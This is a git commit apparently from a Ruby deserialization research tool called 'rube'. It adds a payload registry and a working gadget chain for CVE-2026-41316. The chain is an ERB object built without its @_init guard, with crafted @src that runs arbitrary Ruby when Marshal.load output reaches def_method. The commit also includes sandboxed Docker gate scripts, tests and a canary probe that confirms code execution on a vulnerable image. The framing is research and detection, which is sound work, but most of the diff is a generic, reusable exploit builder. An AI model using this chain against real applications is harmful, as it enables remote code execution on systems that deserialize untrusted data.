feat(rube): M4 payload builder - working CVE-2026-41316 chain with version-predicted gate

Chain registry modelled on PHPGGC: the class is the chain identity, metadata
carries the CVE and its affected version ranges, generate returns an object
rather than bytes, and serialization is a separate step.

Ships the ErbDefMethod chain for CVE-2026-41316. Ruby 2.7.0 added an @_init
guard to stop Marshal.load code execution on ERB objects, and def_method never
checked it. def_module and def_class delegate to def_method, so the single
missing check exposed all three entry points for six years.

The payload is an ERB built by allocate with @src, @filename and @lineno set
and @_init deliberately absent. @src opens with a comment line and a bare end
so that the def wrapper def_method injects is closed before the payload runs,
which puts execution at eval time rather than at call time.

Gate proves both halves and neither alone is sufficient:

  4.0.2-slim  erb=6.0.1    outcome=FIRED    predicted=FIRED
  4.0-slim    erb=6.0.1.1  outcome=BLOCKED  predicted=BLOCKED

The prediction column is the load-bearing one. affects? evaluates the CVE
ranges encoded in the chain metadata against the erb version present in the
image, before the payload runs. Observed behaviour matched on both, so the
registry is making falsifiable claims rather than carrying documentation.

Exploit containers run with no network, a read-only root filesystem, a 1MB
noexec tmpfs and an unprivileged user. The parser also inspects the payload
and reports ERB without deserializing it, so the offensive and defensive
halves meet on the same artifact.

70 tests, 151 assertions across four suites.
This commit is contained in:
CarterPerez-dev 2026-07-26 10:07:16 -04:00
parent 60375675fd
commit bd89c6704a
8 changed files with 367 additions and 0 deletions

View File

@ -14,6 +14,7 @@ default:
test:
{{run_ro}} ruby -Ilib -Itest test/marshal/parser_test.rb
{{run_ro}} ruby -Ilib -Itest test/scanner_test.rb
{{run_ro}} ruby -Ilib -Itest test/chains_test.rb
scan namespace="":
{{run_ro}} ruby -Ilib -e 'require "rube"; ns = "{{namespace}}"; r = Rube::Scanner.new(namespace: ns.empty? ? nil : ns).scan; puts "modules=#{r.scanned_modules} candidates=#{r.candidates.length} gated=#{r.gated.length} reachable=#{r.reachable.length}"; puts; r.reachable.each { |c| puts format(" %-10s %-46s %s", c.gate, c.to_s, c.source_location) }'
@ -32,6 +33,11 @@ probe:
matrix:
@bash scripts/version-matrix.sh
exploit:
@bash scripts/exploit-gate.sh
gate: check matrix exploit
build:
{{run}} sh -c "gem build --strict rube.gemspec"

View File

@ -7,6 +7,7 @@ require_relative "rube/marshal/errors"
require_relative "rube/marshal/node"
require_relative "rube/marshal/parser"
require_relative "rube/scanner"
require_relative "rube/chains"
module Rube
end

View File

@ -0,0 +1,34 @@
# ©AngelaMos | 2026
# chains.rb
module Rube
module Chains
class UnknownChainError < StandardError; end
@registry = []
class << self
attr_reader :registry
def register(chain)
@registry << chain unless @registry.include?(chain)
end
def all
registry.reject { |chain| chain == Base }
end
def find(name)
all.find { |chain| chain.chain_name == name } ||
raise(UnknownChainError, name.to_s)
end
def for_version(gem_name, version)
all.select { |chain| chain.target_gem == gem_name && chain.affects?(version) }
end
end
end
end
require_relative "chains/base"
require_relative "chains/erb_def_method"

View File

@ -0,0 +1,59 @@
# ©AngelaMos | 2026
# base.rb
module Rube
module Chains
class ChainError < StandardError; end
class NotImplementedByChainError < ChainError; end
class Base
NAMESPACE_SEPARATOR = "::"
SUBCLASS_MUST_DEFINE = "chain must define"
class << self
def inherited(subclass)
super
Chains.register(subclass)
end
def metadata
raise NotImplementedByChainError, "#{SUBCLASS_MUST_DEFINE} metadata"
end
def chain_name
metadata.fetch(:name)
end
def vector
metadata.fetch(:vector)
end
def cve
metadata.fetch(:cve)
end
def target_gem
metadata.fetch(:gem)
end
def affected_requirements
metadata.fetch(:affected).map { |constraint| Gem::Requirement.new(constraint) }
end
def affects?(version)
candidate = Gem::Version.new(version.to_s)
affected_requirements.any? { |requirement| requirement.satisfied_by?(candidate) }
end
end
def generate
raise NotImplementedByChainError, "#{SUBCLASS_MUST_DEFINE} generate"
end
def serialize
::Marshal.dump(generate)
end
end
end
end

View File

@ -0,0 +1,68 @@
# ©AngelaMos | 2026
# erb_def_method.rb
module Rube
module Chains
class ErbDefMethod < Base
CHAIN_NAME = "erb-def-method"
VECTOR = "def_method"
CVE = "CVE-2026-41316"
TARGET_GEM = "erb"
AFFECTED = [
"< 4.0.3.1",
"= 4.0.4",
[">= 5.0.0", "< 6.0.1.1"],
[">= 6.0.2", "< 6.0.4"]
].freeze
SRC_PREFIX = "#\nend\n"
SRC_SUFFIX = "\ndef _rube_unused\n"
DEFAULT_FILENAME = "(erb)"
DEFAULT_LINENO = 0
IVAR_SRC = :@src
IVAR_FILENAME = :@filename
IVAR_LINENO = :@lineno
CANARY_TEMPLATE = 'File.write(%<path>p, %<marker>p)'
def self.metadata
{
name: CHAIN_NAME,
vector: VECTOR,
cve: CVE,
gem: TARGET_GEM,
affected: AFFECTED
}
end
def self.canary(path, marker)
new(format(CANARY_TEMPLATE, path: path, marker: marker))
end
def initialize(ruby_source)
super()
@ruby_source = ruby_source
end
def generate
require "erb"
object = ERB.allocate
object.instance_variable_set(IVAR_SRC, src)
object.instance_variable_set(IVAR_FILENAME, DEFAULT_FILENAME)
object.instance_variable_set(IVAR_LINENO, DEFAULT_LINENO)
object
end
def src
"#{SRC_PREFIX}#{@ruby_source}#{SRC_SUFFIX}"
end
private
attr_reader :ruby_source
end
end
end

View File

@ -0,0 +1,68 @@
#!/usr/bin/env bash
# ©AngelaMos | 2026
# exploit-gate.sh
set -uo pipefail
HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
VULNERABLE_IMAGE="ruby:4.0.2-slim"
PATCHED_IMAGE="ruby:4.0-slim"
run_probe() {
local image="$1"
docker run --rm \
--network none \
--read-only \
--tmpfs /tmp:rw,noexec,nosuid,size=1m \
--user nobody \
-e "MATRIX_IMAGE=${image#ruby:}" \
-v "${HERE}/lib:/app/lib:ro" \
-v "${HERE}/test/support/exploit_probe.rb:/app/probe.rb:ro" \
-w /app \
"${image}" ruby -Ilib /app/probe.rb 2>&1
}
echo "CVE-2026-41316 exploit gate"
echo
vulnerable_output="$(run_probe "${VULNERABLE_IMAGE}")"
vulnerable_status=$?
echo " ${vulnerable_output}"
patched_output="$(run_probe "${PATCHED_IMAGE}")"
patched_status=$?
echo " ${patched_output}"
echo
failures=0
if [[ "${vulnerable_output}" == *"outcome=FIRED"* ]]; then
echo " PASS payload executes on the vulnerable image"
else
echo " FAIL payload did not execute on the vulnerable image"
failures=$((failures + 1))
fi
if [[ "${patched_output}" == *"outcome=BLOCKED"* ]]; then
echo " PASS patched image blocks the same payload"
else
echo " FAIL patched image did not block the payload"
failures=$((failures + 1))
fi
if [[ ${vulnerable_status} -eq 0 && ${patched_status} -eq 0 ]]; then
echo " PASS observed outcome matched the chain metadata prediction on both"
else
echo " FAIL observed outcome contradicted the chain metadata prediction"
failures=$((failures + 1))
fi
echo
if [[ ${failures} -eq 0 ]]; then
echo "GATE PASSED"
exit 0
fi
echo "GATE FAILED (${failures})"
exit 1

View File

@ -0,0 +1,88 @@
# ©AngelaMos | 2026
# chains_test.rb
require_relative "test_helper"
module Rube
module Chains
class ChainsTest < Minitest::Test
CANARY_PATH = "/tmp/rube-canary"
CANARY_MARKER = "fired"
def chain
ErbDefMethod.canary(CANARY_PATH, CANARY_MARKER)
end
def test_registry_excludes_the_base_class
refute_includes Chains.all, Base
end
def test_registry_contains_the_erb_chain
assert_includes Chains.all, ErbDefMethod
end
def test_find_by_name
assert_equal ErbDefMethod, Chains.find("erb-def-method")
end
def test_find_raises_on_unknown_name
assert_raises(UnknownChainError) { Chains.find("no-such-chain") }
end
def test_metadata_is_complete
assert_equal "erb-def-method", ErbDefMethod.chain_name
assert_equal "def_method", ErbDefMethod.vector
assert_equal "CVE-2026-41316", ErbDefMethod.cve
assert_equal "erb", ErbDefMethod.target_gem
end
def test_affects_reproduces_the_published_ranges
{ "2.2.3" => true, "4.0.2" => true, "4.0.3" => true, "4.0.4" => true,
"5.0.0" => true, "6.0.1" => true, "6.0.2" => true, "6.0.3" => true,
"4.0.3.1" => false, "4.0.4.1" => false, "6.0.1.1" => false, "6.0.4" => false }.each do |version, expected|
assert_equal expected, ErbDefMethod.affects?(version), "erb #{version}"
end
end
def test_for_version_selects_matching_chains
assert_includes Chains.for_version("erb", "6.0.1"), ErbDefMethod
assert_empty Chains.for_version("erb", "6.0.1.1")
end
def test_generate_returns_an_object_not_bytes
assert_kind_of ERB, chain.generate
end
def test_generated_object_carries_the_payload_source
assert_includes chain.generate.instance_variable_get(:@src), CANARY_PATH
end
def test_generated_object_omits_the_init_sentinel
refute_includes chain.generate.instance_variables, :@_init
end
def test_src_closes_the_injected_def_before_the_payload
assert_match(/\A#\nend\n/, chain.src)
end
def test_serialize_produces_a_loadable_marshal_stream
blob = chain.serialize
assert_equal 4, blob.getbyte(0)
assert_equal 8, blob.getbyte(1)
end
def test_payload_is_visible_to_the_parser_without_deserializing
result = Rube::Marshal::Parser.new(chain.serialize).parse
assert_includes result.class_names, "ERB"
end
def test_base_refuses_to_generate
assert_raises(NotImplementedByChainError) { Base.new.generate }
end
def test_base_refuses_metadata
assert_raises(NotImplementedByChainError) { Base.metadata }
end
end
end
end

View File

@ -0,0 +1,43 @@
# ©AngelaMos | 2026
# exploit_probe.rb
require "rube"
CANARY_PATH = "/tmp/rube-canary"
CANARY_MARKER = "fired"
RESULT_FIRED = "FIRED"
RESULT_BLOCKED = "BLOCKED"
RESULT_INERT = "INERT"
erb_version = Gem::Specification.find_all_by_name("erb").map(&:version).max.to_s
chain = Rube::Chains::ErbDefMethod.canary(CANARY_PATH, CANARY_MARKER)
blob = chain.serialize
inspection = Rube::Marshal::Parser.new(blob).parse
File.delete(CANARY_PATH) if File.exist?(CANARY_PATH)
revived = Marshal.load(blob)
detail = begin
revived.def_method(Module.new, "rube_probe")
"def_method returned"
rescue StandardError => e
"#{e.class}: #{e.message}"
end
fired = File.exist?(CANARY_PATH) && File.read(CANARY_PATH) == CANARY_MARKER
outcome = if fired
RESULT_FIRED
elsif detail.start_with?("ArgumentError")
RESULT_BLOCKED
else
RESULT_INERT
end
predicted = Rube::Chains::ErbDefMethod.affects?(erb_version) ? RESULT_FIRED : RESULT_BLOCKED
puts format("%-9s erb=%-9s outcome=%-8s predicted=%-8s classes=%-6s %s",
ENV.fetch("MATRIX_IMAGE", "?"), erb_version, outcome, predicted,
inspection.class_names.join(","), detail)
exit(outcome == predicted ? 0 : 1)